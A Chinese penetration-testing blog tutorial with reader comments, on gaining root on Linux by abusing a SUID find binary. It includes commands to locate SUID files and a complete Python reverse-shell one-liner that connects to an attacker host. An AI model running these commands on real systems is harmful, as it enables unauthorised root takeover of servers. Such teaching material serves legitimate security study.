AI智能摘要
你还在为渗透测试时卡在普通用户权限而苦恼吗?linux系统中看似普通的find、nmap等命令,竟能成为直通root权限的秘密通道!本文将手把手演示如何利用SUID权限漏洞,通过六个关键步骤从ubuntu用户跃升至系统最高权限。无需复杂工具,仅需几行命令就能让目标主机主动向你敞开root权限的大门,完整重现真实渗透场景中的提权全过程。
— AI 生成的文章内容摘要
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
• nmap • vim • find • bash • more • less • nano • cp
以下命令可以发现系统上运行的所有SUID可执行文件。
1. #以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试 2. find / -perm -u=s -type f 2>/dev/null 3. find / -user root -perm -4000-print2>/dev/null 4. find / -user root -perm -4000-exec ls -ldb {} /;
利用find文件提权
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。

我们查看具有root用户权限的SUID文件
find / -perm -u=s -type f 2>/dev/null

我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件

我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行
/usr/bin/find examples.desktop -exec whoami /;

至于这里为什么可以用find -exec ,可以查看find帮助或者man手册
然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境

于是我们以root用户的身份利用python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #反弹一个sh类型的shell

可以看到,在攻击端收到了反弹过来的shell,并且是root身份


北京市 1F
这招真香,直接提权成功。
吉林省辽源市 2F
看到SUID就头大,配置错了真是后患无穷。
河南省洛阳市 3F
老手一看就懂,对新手可能有点跳跃。
日本 4F
实战中确实得先看看有哪些SUID文件,不是每个都能用。
湖北省武汉市 5F
直接用find提权,省事又高效。
湖南省常德市 6F
这玩意儿坑太深,玩儿不爽🤔
上海市 7F
思路清晰,值得一试。
浙江省杭州市 8F
find的‑exec到底能传哪些参数,能用来跑更复杂的脚本吗?
四川省 9F
另外,别忘了检查/usr/bin/vim的SUID位,有时也能利用。
上海市长宁区 10F
我之前在一台老服务器上也用find提权,差点被日志记录抓住,真是惊险。
山东省 11F
如果目标机器没有python2,改用perl还能做到同样的反弹吗?
安徽省合肥市 12F
说所有SUID文件都能直接提权其实有点夸大,很多系统会对‑exec做限制,需要先确认二进制的实际行为。
江苏省常州市 13F
看到有人直接用nano提权,我忍不住笑了,原来编辑器也能当后门,真是意想不到的技巧。
浙江省台州市 14F
find的‑exec真的好用,省掉不少手动写脚本的时间。
上海市 15F
别忘先用ls -l检查SUID位所有者。
北京市 16F
目标机器没有python2,能直接用perl实现同样的反弹吗?
辽宁省朝阳市 17F
看到有人直接用nano提权,我忍不住笑了,原来编辑器也能当后门。